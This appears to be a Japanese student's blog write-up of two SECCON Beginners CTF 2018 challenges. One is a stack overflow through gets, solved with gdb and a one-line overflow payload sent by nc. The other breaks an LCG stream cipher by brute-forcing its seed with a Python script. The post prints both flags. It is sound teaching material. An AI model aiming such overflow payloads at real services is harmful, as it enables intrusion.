さやかちゃんドットネット

とある情報系学生のブログです。

ブログ移転しました→blog.sayakachan.net

SECCON Beginners CTF 2018参加録

サークルでCTFの大会に参加しました。1119点で844チーム中56位。そのときの備忘録を兼ねた自分の解いた問題のWrite-Upです。

blog.misw.jp

[Pwn] condition

とりあえず接続してみる

$ nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...hello
Permission denied

接続先で動いているプログラムが与えられているのでダウンロードして、まずはstringsで含まれている文字列を調べてみます。

$ strings condition_68187f0953551cea907c48c016f19ff200de74b4
...
Please tell me your name...
OK! You have permission to get flag!!
flag.txt
Permission denied
...

正しい入力をしたらflag.txtを表示する感じですかね。ローカルでテストしたいのでダウンロードフォルダと同じディレクトリに適当にflag.txtを用意して

$ echo hello > flag.txt

gdbで逆アセンブルしつつ、デバッガ上で突破できないか試してみます。

GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./condition_68187f0953551cea907c48c016f19ff200de74b4...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0000000000400771 <+0>:    push   %rbp
   0x0000000000400772 <+1>:    mov    %rsp,%rbp
   0x0000000000400775 <+4>:    sub    $0x30,%rsp
   0x0000000000400779 <+8>:    movl   $0x0,-0x4(%rbp)
   0x0000000000400780 <+15>:    mov    $0x4008d8,%edi
   0x0000000000400785 <+20>:    mov    $0x0,%eax
   0x000000000040078a <+25>:    callq  0x400600 <printf@plt>
   0x000000000040078f <+30>:    lea    -0x30(%rbp),%rax
   0x0000000000400793 <+34>:    mov    %rax,%rdi
   0x0000000000400796 <+37>:    mov    $0x0,%eax
   0x000000000040079b <+42>:    callq  0x400620 <gets@plt>
   0x00000000004007a0 <+47>:    cmpl   $0xdeadbeef,-0x4(%rbp)
   0x00000000004007a7 <+54>:    jne    0x4007bf <main+78>
   0x00000000004007a9 <+56>:    mov    $0x4008f8,%edi
   0x00000000004007ae <+61>:    callq  0x4005c0 <puts@plt>
   0x00000000004007b3 <+66>:    mov    $0x40091e,%edi
   0x00000000004007b8 <+71>:    callq  0x4007d3 <read_file>
   0x00000000004007bd <+76>:    jmp    0x4007c9 <main+88>
   0x00000000004007bf <+78>:    mov    $0x400927,%edi
   0x00000000004007c4 <+83>:    callq  0x4005c0 <puts@plt>
   0x00000000004007c9 <+88>:    mov    $0x0,%edi
   0x00000000004007ce <+93>:    callq  0x400640 <exit@plt>
End of assembler dump.
(gdb) b *0x00000000004007a0
Breakpoint 1 at 0x4007a0
(gdb) run
Starting program: /home/atsushi/Downloads/condition_68187f0953551cea907c48c016f19ff200de74b4 
Please tell me your name...helloooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

Breakpoint 1, 0x00000000004007a0 in main ()
(gdb) i r rbp
rbp            0x7fffffffdb70    0x7fffffffdb70
(gdb) set{int}0x7fffffffdb6c=0xdeadbeef
(gdb) c
Continuing.
OK! You have permission to get flag!!
hello
[Inferior 1 (process 17809) exited normally]
(gdb) quit

disas mainしてみると、スタックポインタをベースポインタから0x30引いて、48バイトのスタック領域を確保しています。その後に0xdeadbeafとベースポインタの4バイト下からを比較をしています。要は48バイトの入力をして、最後の4バイトを0xdeadbeafにすればいいわけです。リトルエンディアンなのでひっくり返して

$ python -c "print(0x2c * 'a' + '\xef\xbe\xad\xde')" | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

わーい。

[Crypto] Streaming

文字列を暗号化するプログラムであるencrypt.pyと暗号化されたencryptedが与えられています。encrypt.pyの中身を見てみます。

import os
from flag import flag


class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

g = Stream(int(os.urandom(8).encode('hex'), 16))

encrypted = ''
for i in range(0, len(flag), 2):
    a = int(flag[i:i+2].encode('hex'), 16) ^ g.next()
    encrypted += chr(a % 256)
    encrypted += chr(a / 256)

open('encrypted', 'wb').write(encrypted)

ランダム生成されたseedが何だったのか分かれば良さそうです。また、2文字ずつ暗号化して、2文字から2文字を生成しているようです。コンテストのフラグの形式はctf4b{...}なので、ctf4b{を暗号化した結果がencryptedの最初の6文字と一致するシード値を探して、その後はそのシード値を使って[a-zA-Z0-9_-{}]からencryptedと比較しつつ選択してflagを生成していきます。

main.py

import os
import random

class Stream:
...

seed = None
text = 'ctf4b{'
enc = open('encrypted', 'r').read()
while True:
    seed = int(os.urandom(8).encode('hex'), 16)
    g = Stream(seed)
    flag = True
    for i in range(0, len(text), 2):
        a = int(text[i:i+2].encode('hex'), 16) ^ g.next()
        if chr(a % 256) != enc[i] or chr(a / 256) != enc[i+1]:
            flag = False
            break
    if flag:
        break

chars = "1234567890-_{}qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
res = ""
g = Stream(seed)
for i in range(0, len(enc), 2):
    n = g.next()
    while True:
        s = chars[random.randint(0, len(chars)-1)] + chars[random.randint(0, len(chars)-1)]
        a = int(s.encode('hex'), 16) ^ n
        if chr(a % 256) == enc[i] and chr(a / 256) == enc[i+1]:
            res += s
            break

print res

実行します。

$ python main.py
ctf4b{lcg-is-easily-predictable}

わーい。でも他の人のwrite-upと比べるとかなり頭の悪いことをやっていますね...